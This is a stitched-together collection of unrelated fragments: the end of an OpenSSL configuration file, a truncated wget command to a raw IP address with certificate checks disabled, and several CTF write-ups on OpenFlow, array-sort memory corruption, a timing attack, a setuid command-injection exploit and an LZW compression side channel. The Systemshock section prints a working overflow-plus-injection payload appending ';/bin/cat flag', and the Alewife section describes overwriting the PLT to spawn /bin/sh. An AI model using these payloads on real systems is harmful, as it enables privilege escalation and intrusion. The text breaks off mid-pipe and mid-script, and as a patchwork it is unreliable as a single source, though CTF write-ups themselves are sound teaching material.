commonName = Common Name (e.g. server FQDN or YOUR name)commonName_max = 64
emailAddress = Email AddressemailAddress_max = 64
# SET-ex3 = SET extension number 3
[ req_attributes ]challengePassword = A challenge passwordchallengePassword_min = 4challengePassword_max = 20
unstructuredName = An optional company name
[ usr_cert ]
# These extensions are added when 'ca' signs a request.
# This goes against PKIX guidelines but some CAs do it and some software# requires this to avoid interpreting an end user certificate as a CA.
basicConstraints=CA:FALSE
# Here are some examples of the usage of nsCertType. If it is omitted# the certificate can be used for anything *except* object signing.
# This is OK for an SSL server.# nsCertType = server
# For an object signing certificate this would be used.# nsCertType = objsign
# For normal client use this is typical# nsCertType = client, email
# and for everything including object signing:# nsCertType = client, email, objsign
# This is typical in keyUsage for a client certificate.# keyUsage = nonRepudiation, digitalSignature, keyEncipherment
# This will be displayed in Netscape's comment listbox.nsComment = "OpenSSL Generated Certificate"
# PKIX recommendations harmless if included in all certificates.subjectKeyIdentifier=hashauthorityKeyIdentifier=keyid,issuer
# This stuff is for subjectAltName and issuerAltname.# Import the email address.# subjectAltName=email:copy# An alternative to produce certificates that aren't# deprecated according to PKIX.# subjectAltName=email:move
# Copy subject details# issuerAltName=issuer:copy
#nsCaRevocationUrl = http://www.domain.dom/ca-crl.pem#nsBaseUrl#nsRevocationUrl#nsRenewalUrl#nsCaPolicyUrl#nsSslServerName
# This is required for TSA certificates.# extendedKeyUsage = critical,timeStamping
[ v3_req ]
# Extensions to add to a certificate request
basicConstraints = CA:FALSEkeyUsage = nonRepudiation, digitalSignature, keyEncipherment
[ v3_ca ]
# Extensions for a typical CA
# PKIX recommendation.
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid:always,issuer
# This is what PKIX recommends but some broken software chokes on critical# extensions.#basicConstraints = critical,CA:true# So we do this instead.basicConstraints = CA:true
# Key usage: this is typical for a CA certificate. However since it will# prevent it being used as an test self-signed certificate it is best# left out by default.# keyUsage = cRLSign, keyCertSign
# Some might want this also# nsCertType = sslCA, emailCA
# Include email address in subject alt name: another PKIX recommendation# subjectAltName=email:copy# Copy issuer details# issuerAltName=issuer:copy
# DER hex encoding of an extension: beware experts only!# obj=DER:02:03# Where 'obj' is a standard or added object# You can even override a supported extension:# basicConstraints= critical, DER:30:03:01:01:FF
[ crl_ext ]
# CRL extensions.# Only issuerAltName and authorityKeyIdentifier make any sense in a CRL.
# issuerAltName=issuer:copyauthorityKeyIdentifier=keyid:always
[ proxy_cert_ext ]# These extensions should be added when creating a proxy certificate
# This goes against PKIX guidelines but some CAs do it and some software# requires this to avoid interpreting an end user certificate as a CA.
basicConstraints=CA:FALSE
# Here are some examples of the usage of nsCertType. If it is omitted# the certificate can be used for anything *except* object signing.
# This is OK for an SSL server.# nsCertType = server
# For an object signing certificate this would be used.# nsCertType = objsign
# For normal client use this is typical# nsCertType = client, email
# and for everything including object signing:# nsCertType = client, email, objsign
# This is typical in keyUsage for a client certificate.# keyUsage = nonRepudiation, digitalSignature, keyEncipherment
# This will be displayed in Netscape's comment listbox.nsComment = "OpenSSL Generated Certificate"
# PKIX recommendations harmless if included in all certificates.subjectKeyIdentifier=hashauthorityKeyIdentifier=keyid,issuer
# This stuff is for subjectAltName and issuerAltname.# Import the email address.# subjectAltName=email:copy# An alternative to produce certificates that aren't# deprecated according to PKIX.# subjectAltName=email:move
# Copy subject details# issuerAltName=issuer:copy
#nsCaRevocationUrl = http://www.domain.dom/ca-crl.pem#nsBaseUrl#nsRevocationUrl#nsRenewalUrl#nsCaPolicyUrl#nsSslServerName
# This really needs to be in place for it to be a proxy certificate.proxyCertInfo=critical,language:id-ppl-anyLanguage,pathlen:3,policy:foo
####################################################################[ tsa ]
default_tsa = tsa_config1 # the default TSA section
[ tsa_config1 ]
# These are used by the TSA reply generation only.dir = ./demoCA # TSA root directoryserial = $dir/tsaserial # The current serial number (mandatory)crypto_device = builtin # OpenSSL engine to use for signingsigner_cert = $dir/tsacert.pem # The TSA signing certificate # (optional)certs = $dir/cacert.pem # Certificate chain to include in reply # (optional)signer_key = $dir/private/tsakey.pem # The TSA private key (optional)
default_policy = tsa_policy1 # Policy if request did not specify it # (optional)other_policies = tsa_policy2, tsa_policy3 # acceptable policies (optional)digests = md5, sha1 # Acceptable message digests (mandatory)accuracy = secs:1, millisecs:500, microsecs:100 # (optional)clock_precision_digits = 0 # number of digits after dot. (optional)ordering = yes # Is ordering defined for timestamps? # (optional, default: no)tsa_name = yes # Must the TSA name be included in the reply? # (optional, default: no)ess_cert_id_chain = no # Must the ESS cert id chain be included? # (optional, default: no)EOF
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pemwget --no-check-certificate --certificate=cert.pem --private-key=key.pem https://107.21.133.9 -O - |
## Mattapan - Pwning 150 Problem - Writeup by Robert Xiao (@nneonneo)
The flag to Park Street was `OFPFC_ADD`, which could be found by some quick Googling and finding the OpenFlow specification document. (This flag was necessary to talk to the server).
In Mattapan, you get the chance to configure an OpenFlow switch which controls some traffic on some foreign network. Since I'm lazy, I just downloaded a Python package (`pox`) to act as the controller. The goal of the challenge is to configure the switch to do something to the traffic.
We start by simply getting the switch to copy packets back to the controller, one of the basic features of the OpenFlow protocol. This is achieved by a very simple Pox script (built by basically copy-pasting bits out of the forwarding examples):
from pox.core import core import pox.openflow.libopenflow_01 as of from pox.lib.util import dpidToStr
log = core.getLogger()
def _handle_ConnectionUp (event): msg = of.ofp_flow_mod() msg.actions.append(of.ofp_action_output(port = of.OFPP_CONTROLLER)) msg.actions.append(of.ofp_action_output(port = of.OFPP_FLOOD)) event.connection.send(msg) log.info("Hubifying %s", dpidToStr(event.dpid))
def _handle_PacketIn (event): print event, repr(event.data), event.parsed
def launch (): core.openflow.addListenerByName("ConnectionUp", _handle_ConnectionUp) core.openflow.addListenerByName("PacketIn", _handle_PacketIn)
log.info("Test running.")
When we run this controller and point the switch at it, we see a packet dump of all the traffic, and in fact the flag (clearly denoted as `flag{...}`) is just among the traffic received: problem solved. |
## Alewife - Pwning 400 Problem - Writeup by Robert Xiao (@nneonneo)
This problem took a little while to reverse. Basically, it implements a variety of array operations on three kinds of arrays: `string` arrays, `int` arrays and `mixed` arrays (arrays whose elements can be either `string` or `int`). 32 instances of each type of array are preallocated in BSS, each with capacity for 256 elements.
On the `string` and `int` arrays, it is possible to append elements, pop elements off the end, print the array, and sort the array. In order to create a `string` or `int` array, you have to first create a `mixed` array with only one type of data, then use the copy operation to copy the `mixed` array out into a new `string` or `int` array.
One major bug lies in the sorting routine. The same bug is in both the `string` and `int` sorting routines, but the `int` sorting routine is easier to exploit. Basically, the sort contains an off-by-one error and will include the element one past the end of the array in the sort. In each of the array objects, the QWORD immediately after the preallocated 256-element array is a pointer to the start of the array, so by including this QWORD in the sort, you can push an almost arbitrary element into this pointer position. This can be triggered simply by inserting 256 elements into any array (the maximum size permissible), then sorting the array.
Overwriting the array pointer enables almost arbitrary writes (by pointing that pointer somewhere interesting, like the PLT table, then triggering an array insertion). The catch is that the value used to overwrite the start of the array has to be bigger than the pointer itself. In my case, I used the address of the second word in the array (the element at index `1`) -- this has the effect of simply shifting the array over by one place. This places the array pointer at array index 255, which makes it possible to overwrite the array pointer with a truly arbitrary value via simple array insertion.
We can then point the array pointer at the PLT. Printing out the array lets us obtain useful `libc` addresses. Then we can just overwrite any PLT entry with an array insertion. We choose to overwrite the PLT entry for `strlen` with the address of `system`, then trigger an operation that involves a string entry (in our case, a previously-inserted string entry of `"/bin/sh"`). Voila: a shell, and shortly thereafter a flag.
For full details see `pwn.py`. |
## Airport - Crypto 500 Problem - Writeup by Robert Xiao (@nneonneo)
The hint for the problem says
> The timing in this challenge is clearly not very realistic---but the methods you'll use here can be extended to real-world implementations of modular exponentiation.
Opening up the package, we see that they have implemented a simple modular exponentiation algorithm which takes your input `b` and computes `b^e % m` for a randomly-generated, secret exponent `e` and a large safe prime `m`. The obvious change here is that the square-and-multiply exponentiation algorithm, aptly named `slowpower`, pauses for one full second any time an intermediate result is equal to 4.
Clearly, the expected solution is to use the one-second delay to extract the exponent. A partial result at step `k` is given as `b^e[:k] % m`, where `e[:k]` denotes the number formed by taking the first `k` bits of `e`. Note that if we know `e[:k-1]`, there are only two possibilities for `e[:k]`: `e[:k-1] * 2` (if the `k`th bit is 0) or `e[:k-1] * 2 + 1` (if the `k`th bit is 1). So, if we know `e[:k-1]`, we can input some `b` such that `b^(e[:k-1]*2+1) % m == 4`. If we see a 1 second delay, we know that the kth bit is a 1; otherwise, the kth bit must be 0.
Thus, we can extract the secret one bit at a time. All that's left to do is compute a suitable `b` at each stage. Luckily, their use of a safe prime makes this very easy: the modulus `m` is prime, and equal to `2q+1` where `q` is also a prime.
The goal here is to find a `b` such that `b^r == 4` for a given exponent `r`, i.e. to take the `r`th root mod `m = 2*q+1`. Let `s` be such that `r*s = 1 mod 2q` (we're assuming such an `s` exists). Then, by Fermat's Little Theorem, `b == b^(rs) == 4^s` mod `m`. For `s` to exist, we note that `r` must be odd because it must invert `s` mod `2q` -- hence why we chose to check the `e[:k-1]*2+1` case up above. To compute `s`, we can simply apply Euler's Theorem: `s = r^(q-2)` mod `2q`.
Finally, we did a few things to make the attack more reliable - very important because the attack takes anywhere from 20 to 40 minutes to run. You can see the full details in the `attack.py` script. |
# CodeGate General CTF 2015: Systemshock
**Category:** Pwnable**Points:** 200**Description:**
>Login : ssh [email protected] >Password : systemshocked
## Write-up
Logging in via SSH puts us in a directory with two files of interest, the flag (which can be read by user systemshock-solved) and a binary called shock which we can execute and has setuid systemshock-solved permissions. The assumption here is that shock has some kind of vulnerability we are meant to exploit in order to be able to elevate our privileges to systemshock-solved and read the flag.
Let's download the binary and take a closer look at it:
>```bash>root@debian:~/ctf/codegate/shk# file ./shock>./shock: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=0x15fb3a120bea64fa53993f6552d52d9e1370a5a9, stripped>root@debian:~/ctf/codegate/shk# ./checksec.sh --file ./shock>RELRO STACK CANARY NX PIE RPATH RUNPATH FILE>No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH ./shock>```
So we are dealing with a stripped (which means no symbols for debugging) 64-bit ELF binary with protection against stack overflows (in the form of a stack canary and an NX-stack) which is run on a system with ASLR enabled. Let's run the executable to see what it does:
>```bash>root@debian:~/ctf/codegate/shk# ./shock >root@debian:~/ctf/codegate/shk# ./shock test>id: test: No such user>root@debian:~/ctf/codegate/shk# ./shock test1 test2>id: test1: No such user>```
It seems that the first argument, argv[1], is passed as a command line argument to the id binary.In order to get a clear picture of how the binary functions, we'll load it up in IDA Pro to obtain pseudo-code of the main function:
>```c>__int64 sub_40075C()>{> size_t v0; // rax@2> char **i; // [sp+0h] [bp-10h]@1> __int64 v3; // [sp+8h] [bp-8h]@1>> v3 = *MK_FP(__FS__, 40LL);> for ( i = environ; *i; ++i )> {> v0 = strlen(*i);> memset(*i, 0, v0);> }> return *MK_FP(__FS__, 40LL) ^ v3;>}>>int __fastcall main_routine(__int64 a1, __int64 a2)>{> int result; // eax@2> const unsigned __int16 v3; // ax@4> __int64 v4; // rdx@10> int i; // [sp+1Ch] [bp-124h]@3> int dest; // [sp+20h] [bp-120h]@1> __int64 v7; // [sp+128h] [bp-18h]@1>> v7 = *MK_FP(__FS__, 40LL);> sub_40075C();> dest = 2122857;> if ( *(_QWORD *)(a2 + 8) )> {> strcat((char *)&dest, *(const char **)(a2 + 8));> for ( i = 0; i < strlen(*(const char **)(a2 + 8)) + 3; ++i )> {> v3 = (*__ctype_b_loc())[*((_BYTE *)&dest + i)];> if ( !(v3 & 8) && *((_BYTE *)&dest + i) != 32 )> {> result = 1;> goto LABEL_10;> }> }> result = system((const char *)&dest);> }> else> {> result = 0;> }>LABEL_10:> v4 = *MK_FP(__FS__, 40LL) ^ v7;> return result;>}>```
The above code is relatively straightforward in that it first fills the user environment with null-bytes (using sub_40075C()) and subsequently concatenates argv[1], denoted by *(const char **)(a2 + 8), with the buffer dest. Next, it runs a loop of length strlen(argv[1]) and checks (using the __ctype_b_loc() lookup table) if all characters fall within the range [A-Za-z0-9\s]. If this is the case, it calls system() on the dest buffer. Let's clean up the above pseudo-code a little for clarity:
>```c>__int64 zero_environ()>{> size_t v0; // rax@2> char **i; // [sp+0h] [bp-10h]@1> __int64 v3; // [sp+8h] [bp-8h]@1>> v3 = *MK_FP(__FS__, 40LL);> for ( i = environ; *i; ++i )> {> v0 = strlen(*i);> memset(*i, 0, v0);> }> return *MK_FP(__FS__, 40LL) ^ v3;>}>>int __fastcall main_routine(__int64 a1, __int64 a2)>{> int result; // eax@2> const unsigned __int16 v3; // ax@4> __int64 v4; // rdx@10> int i; // [sp+1Ch] [bp-124h]@3> char dest[264]; // [sp+20h] [bp-120h]@1> __int64 v7; // [sp+128h] [bp-18h]@1>> v7 = *MK_FP(__FS__, 40LL);> zero_environ();> dest = "id "; //this is actually lea rax, [rbp+dest]; mov dword ptr [rax], 206469h> if (argv[1])> {> strcat(dest, argv[1]);> for ( i = 0; i < strlen(argv[1]) + 3; ++i )> {> v3 = (*__ctype_b_loc())[dest[i]];> if ( !(v3 & 8) && dest[i] != 32 )> {> result = 1;> goto LABEL_10;> }> }> result = system(dest);> }> else> {> result = 0;> }>LABEL_10:> v4 = *MK_FP(__FS__, 40LL) ^ v7;> return result;>}>```
The system() function is the first obvious target, we control part of its input (which is of the form "id {argv[1]}") and we want to inject a command of the form "cat ./flag". However, since argv[1] is restricted to the character range [A-Za-z0-9\s] by the __ctype_b_loc() loop it won't be as simple as doing './shock "A; cat ./flag"'.
The next target is strcat(), vulnerable to a glaringly obvious buffer overflow (it appends bytes from the source buffer to the end of the destination buffer, identified by its null-byte, until it encounters a null-byte in the source buffer). We can append a string of arbitrary size to dest and overflow it beyond its allocated 264 bytes. But since we're dealing with a stack canary (see v7) that we cannot corrupt it won't be a simple RIP-overwrite.
### The vulnerability
Note that the stack overflow occurs before the sanitizing loop, whose length is determined by an evaluation of strlen(argv[1]). If we can make sure that argv[1] points to a string such that (strlen(argv[1])+3) will be low (eg. it points to a nullbyte or an address which is a few bytes removed from a nullbyte) and hence the loop will only check the first 3+n characters of the dest buffer, allowing us to inject arbitrary characters beyond that point. We can achieve this by overwriting the pointer to argv[1] which is located on the stack.
### Exploitation
The first step is identifying the distance between the dest buffer and the pointer to argv[1] on the stack. Rather than stepping through the binary in GDB and inspecting its memory to determine the proper distance, we decided to try various input lengths and noticed a couple of different crashes:
>```bash>root@debian:~/ctf/codegate/shk# ./shock `python -c 'print "A"*511'`>id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user>*** stack smashing detected ***: ./shock terminated>Segmentation fault>root@debian:~/ctf/codegate/shk# ./shock `python -c 'print "A"*520'`>id: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: No such user>Segmentation fault>root@debian:~/ctf/codegate/shk# ./shock `python -c 'print "A"*527'`>Segmentation fault>```
The first crash terminates as expected, with a stack smashing detection warning. The second still calls system() but doesn't display the stack smashing warning anymore and the third simply segfaults without any output.
Let's try that last one in GDB and see what happens:
>```asm>root@debian:~/ctf/codegate/shk# gdb ./shock >GNU gdb (GDB) 7.4.1-debian>Copyright (C) 2012 Free Software Foundation, Inc.>License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>>This is free software: you are free to change and redistribute it.>There is NO WARRANTY, to the extent permitted by law. Type "show copying">and "show warranty" for details.>This GDB was configured as "x86_64-linux-gnu".>For bug reporting instructions, please see:><http://www.gnu.org/software/gdb/bugs/>...>Reading symbols from /root/ctf/codegate/shk/shock...(no debugging symbols found)...done.>(gdb) r `python -c 'print "A"*527'`>Starting program: /root/ctf/codegate/shk/shock `python -c 'print "A"*527'`>>Program received signal SIGSEGV, Segmentation fault.>0x00007ffff7ad1d91 in ?? () from /lib/x86_64-linux-gnu/libc.so.6>(gdb) info registers>rax 0x0 0>rbx 0x0 0>rcx 0x1 1>rdx 0x7fffffffea72 140737488349810>rsi 0x7fffffffee90 140737488350864>rdi 0x7fffff004141 140737471594817>rbp 0x7fffffffe980 0x7fffffffe980>rsp 0x7fffffffe838 0x7fffffffe838>r8 0xfefefefefefefeff -72340172838076673>r9 0xfefefefefefefeff -72340172838076673>r10 0x0 0>r11 0x7ffff7ad0090 140737348698256>r12 0x400650 4195920>r13 0x7fffffffea60 140737488349792>r14 0x0 0>r15 0x0 0>rip 0x7ffff7ad1d91 0x7ffff7ad1d91>eflags 0x10287 [ CF PF SF IF RF ]>cs 0x33 51>ss 0x2b 43>ds 0x0 0>es 0x0 0>fs 0x0 0>gs 0x0 0>(gdb) disas 0x00007ffff7ad1d91, 0x00007ffff7ad1dff>Dump of assembler code from 0x7ffff7ad1d91 to 0x7ffff7ad1dff:>=> 0x00007ffff7ad1d91: movdqu xmm1,XMMWORD PTR [rdi]> 0x00007ffff7ad1d95: pcmpeqb xmm0,xmm1> 0x00007ffff7ad1d99: pmovmskb edx,xmm0> 0x00007ffff7ad1d9d: test edx,edx> 0x00007ffff7ad1d9f: jne 0x7ffff7ad1e1b> (...)>End of assembler dump.>(gdb) >```
Ok, so it looks like we have control over RDI
>```asm>rdi 0x7fffff004141>```
Since it crashes before system() is executed, we assume this is because we are somewhere in the execution path of strlen(). Even though the binary is stripped, we can still disassemble it's main function by disassembling the entire .text ELF segment:
>```asm>(gdb) info files>Symbols from "/root/ctf/codegate/shk/shock".>Local exec file:> `/root/ctf/codegate/shk/shock', file type elf64-x86-64.> Entry point: 0x400650> (...)> 0x0000000000400650 - 0x000000000040099c is .text> 0x000000000040099c - 0x00000000004009a5 is .fini> (...)>(gdb) disas 0x0000000000400650,0x000000000040099c> (...)> 0x00000000004008c0: call 0x4005e0 <strlen@plt>> 0x00000000004008c5: add rax,0x3> 0x00000000004008c9: cmp rbx,rax> 0x00000000004008cc: jb 0x400855> 0x00000000004008ce: lea rax,[rbp-0x120]> 0x00000000004008d5: mov rdi,rax> 0x00000000004008d8: call 0x400600 <system@plt>>```
So we set a breakpoint and see what happens:
>```asm>(gdb) break *0x00000000004008c0>Breakpoint 1 at 0x4008c0>(gdb) r `python -c 'print "A"*527'`>Starting program: /root/ctf/codegate/shk/shock `python -c 'print "A"*527'`>>Breakpoint 1, 0x00000000004008c0 in ?? ()>(gdb) display/2i $pc-2>9: x/2i $pc-2> 0x4008be: mov edi,eax>=> 0x4008c0: call 0x4005e0 <strlen@plt>>(gdb) info registers>rax 0x7fffff004141 140737471594817>rbx 0x0 0>rcx 0x0 0>rdx 0x7fffffffea72 140737488349810>rsi 0x7fffffffee90 140737488350864>rdi 0x7fffff004141 140737471594817>```
As we can see, we have overwritten RDI, being the argument to strlen (which is the argv[1] pointer), and have full control over it.
>```asm>(gdb) r `python -c 'print "A"*525+"\x01\x02\x03\x04\x05\x06\x07\x08"'`>(gdb) info registers>(...)>rdi 0x807060504030201 578437695752307201>```
Let's see what argv[1] looks like when it isn't being overwritten
>```asm>(gdb) r `python -c 'print "B"+"A"*523'`>(gdb) x/6xb $di>0x7fffffffec7c: 0x42 0x41 0x41 0x41 0x41 0x41>```
Ok, given that we can overwrite argv[1], the easiest approach would be to see what lies at 0x7fffffffec00. If there's anything interesting there we only have to overwrite the least significant byte of argv[1].
>```asm>(gdb) x/8xb $rdi-0x7c>0x7fffffffec00: 0x39 0xec 0xff 0xff 0xff 0x7f 0x00 0x00>```
Yup, this looks good. Only 6 bytes until a null-byte so (strlen(0x7fffffffec00)+3) = 9 meaning the loop will only sanitize the first 9 bytes of our argument.Now lets put all this together:
* We need to append 525 bytes to dest to overwrite the least significant byte of the argv[1] pointer with our terminating null-byte* This will allow us to include any character after dest[8]
If we want to append ";/bin/cat flag" to our the command executed by system() we end up with the following exploit and flag:
>```bash>$ ./shock AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";/bin/cat flag">B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t>``` |
SECCON_2014_Programming100==========================
write-up of programming 100 challenge at SECCON 2014
 |
# BCTF 2015: weak_enc
**Category:** Crypto**Points:** 200**Description:**
> nc 146.148.79.13 8888> > [http://dl.bctf.cn/weak_enc-40eb1171f07d8ebb06bbf36849d829a1.py.xz](challenge/weak_enc.py)> > Decrypt: NxQ1NDMYcDcw53gVHzI7> > The flag for this problem does not look like BCTF{xxxxxx}
## Write-up
The challenge consists of a python daemon running an encryption service using a custom encryption algorithm. Upon every connection to the daemon, we are sent a challenge and have to respond with a small ['proof-of-work'](http://en.wikipedia.org/wiki/Proof-of-work_system) consisting of finding the pre-image (the first 12 bytes of which consist of the challenge) for a SHA1 hash where the lower-order 16 bits are all 0:
>```python> proof = b64.b64encode(os.urandom(12))> > req.sendall("Please provide your proof of work, a sha1 sum ending in 16 bit's set to 0, it must be of length %s bytes, starting with %s\n" % (len(proof)+5, proof))> > test = req.recv(21)> ha = hashlib.sha1()> ha.update(test)> > if (test[0:16] != proof or ord(ha.digest()[-1]) != 0 or ord(ha.digest()[-2]) != 0):>```
After we've send the proof-of-work we can send an arbitrary plaintext message M of up to 40000 characters to the daemon and get the corresponding ciphertext C such that C = E(SALT+M).This gives us an adaptive (partially) [chosen plaintext scenario](http://en.wikipedia.org/wiki/Chosen-plaintext_attack) (since every message is prefixed with an unknown, but static, salt and we can adapt our choice of plaintext based on previous ciphertext responses). The attack, however, is not as straightforward as simply bruteforcing the plaintext message and comparing it against the target ciphertext since the proof-of-work challenge-response mechanism makes this an infeasible approach.
Let's take a closer look at the encryption scheme:
>```python>SMALLPRIME = 13>HASHLENGTH = 16>N = 17>>for i in SALT:> if not i in string.ascii_lowercase:> print "OMG, this salt is HOOOOOOOOOOT!!!" # Bad things happened> sys.exit(0)>>def updateDict(s, lzwDict):> if not s in lzwDict:> count = len(lzwDict.keys())> lzwDict[s] = count % 256>>def LZW(s, lzwDict): # LZW written by NEWBIE> for c in s: updateDict(c, lzwDict)> # print lzwDict # have to make sure it works> result = []> i = 0> while i < len(s):> if s[i:] in lzwDict:> result.append(lzwDict[s[i:]])> break> for testEnd in range(i+2, len(s)+1):> if not s[i:testEnd] in lzwDict:> updateDict(s[i:testEnd], lzwDict)> result.append(lzwDict[s[i:testEnd-1]])> i = testEnd - 2> break> i += 1> return result>>def STRONGPseudoRandomGenerator(s):> return s[SMALLPRIME - HASHLENGTH :], hashlib.md5(s).digest()>>def encrypt(m):> lzwDict = dict()> toEnc = LZW(SALT + m, lzwDict)> key = hashlib.md5(SALT*2).digest()> OTPBase = ""> OPT = ""> step = HASHLENGTH - SMALLPRIME> for i in range(0, 3*N+step, step):> rand, key = STRONGPseudoRandomGenerator(key)> OTPBase += rand> enc = []> otpadded = []> for i in range(len(toEnc)):> index = i % N> iRound = i / N + 1> OTP = OTPBase[3*int(pow(ord(OTPBase[3*index]),ord(OTPBase[3*index+1])*iRound, N))+2]> otpadded.append(ord(OTP))> enc.append(chr(toEnc[i] ^ ord(OTP)))> return b64.b64encode(''.join(enc))>```
What happens here is that every plaintext message m is prefixed with the unknown salt and compressed using the [LZW](http://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Welch) lossless compression algorithm. Subsequently an intermediary key is generated by taking the MD5 hash of a double concatenation of the salt and a pseudo-'one time pad' key is generated by iteratively taking the last 3 bytes of the current intermediary key and updating the intermediary key by applying MD5 to it again. This is repeated until we have a 53-byte long OTPBase derived from the salt. Finally, the compressed plaintext message (prefixed with the salt) is XORed against a transposed version (based on the current index and round count, with rounds of 17 iterations) of the OTPBase before being base64 encoded to yield the ciphertext.
There are several problems here, ranging from using static keys (derived solemnly from a salt included in the ciphertext) to key repetition (as opposed to it being a suggested true OTP) after a certain length. But the most exploitable problem is the fact that the use of LZW compression before encryption gives us a [side-channel attack](http://www.iacr.org/cryptodb/archive/2002/FSE/3091/3091.pdf) that leaks information about the plaintext, something which is inherent to the algorithm and its use here and not due to an implementation flaw.
LZW is an adaptive compression algorithm (to encode recurring substrings more efficiently) so its state (represented by the dictionary) changes based on the data it is fed. Since every message is has an unknown static prefix in the form of the salt every message enters the LZW algorithm in the same state initialized by the salt.
Given that the encryption is done in streaming fashion (ie. the key is repeatedly XORed with the plaintext) the ciphertext length is identical to the length of the compressed input message prefixed with the salt. By supplying empty data we obtain a 'null ciphertext' (ie. E(SALT)) and hence learn the length of the compressed salt.
Now we can iteratively feed chosen plaintexts consisting of incremental lowercase alpha n-grams (starting with bi-grams and continuing until we learn nothing new) into the encryption routine and observe the length difference between the resulting ciphertext length (and hence the length of the compressed SALT+n-gram) and the length of the 'null ciphertext'. Due to the way LZW compression works, every n-gram that is already present in the state upon encountering it is encoded with a single unique code, while n-grams that are not present are added as multiple new characters. So when we feed the bigram "ni" to the encryption routine and the resulting length difference is 1 (while "ni" consists of more than 1 character) we know the bigram was in the state dictionary and hence is contained in the salt. This approach can be incrementally repeated for bi-grams, tri-grams, etc. until the first n-gram where we learn no new information. Once we have the set of n-grams comprising the salt we can recover the salt (somewhat naively) by tyring all possible combinations (offline) until it yields the 'null ciphertext'.
Once we have the salt, we can derive the OTPBase, apply it to our target ciphertext and obtain a plaintext version of the LZW compression of the target message. Using the salt, we reconstruct a reverse LZW dictionary to decode the plaintext LZW compressed message and recover the final plaintext (assuming the constituent bytes are a subset of the salt's bytes but that turned out to be the case).
Putting this all together, the [solution](solution/weak_enc_crack.py) is as follows:
>```python>#!/usr/bin/python>#># BCTF 2015># WEAK_ENC (CRYPTO/200) cracker>#># @a: Smoke Leet Everyday># @u: https://github.com/smokeleeteveryday>#>>import socket>import re>import base64 as b64>import hashlib>import itertools>import string>>SMALLPRIME = 13>HASHLENGTH = 16>N = 17>># Get SHA1>def getSHA(data):> ha = hashlib.sha1()> ha.update(data)> return ha.digest()>># Do proof of work>def findSHA(challenge):> charset = "".join(chr(i) for i in range(0x00, 0x100))> for p in itertools.chain.from_iterable((''.join(l) for l in itertools.product(charset, repeat=i)) for i in range(5, 5 + 1)):> candidate = challenge + p> proof = getSHA(candidate)> if((ord(proof[-2]) == 0) and (ord(proof[-1]) == 0)):> return candidate> return None>># Session with server>def talk(s, plaintext):> workrequest = s.recv(1024) > if not workrequest:> return None>> m = re.match(r"^.*with\s(.*?)$", workrequest, re.MULTILINE)>> if not(m):> return None>> challenge = m.group(1) > response = findSHA(challenge)>> s.sendall(response)> welcome = s.recv(1024)> > if not welcome:> return None>> s.sendall(plaintext + "\n")> encrypted = s.recv(1024)>> if not encrypted:> return None>> m = re.match(r"^.*:\s(.*?)$", encrypted, re.MULTILINE)> if not(m):> return None>> ciphertext = m.group(1)> return ciphertext>># Do request>def req(HOST, m):> PORT = 8888> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)> s.connect((HOST, PORT))> ciphertext = talk(s, m)> s.close()> return ciphertext>># Update LZW Dict>def updateDict(s, lzwDict):> if not s in 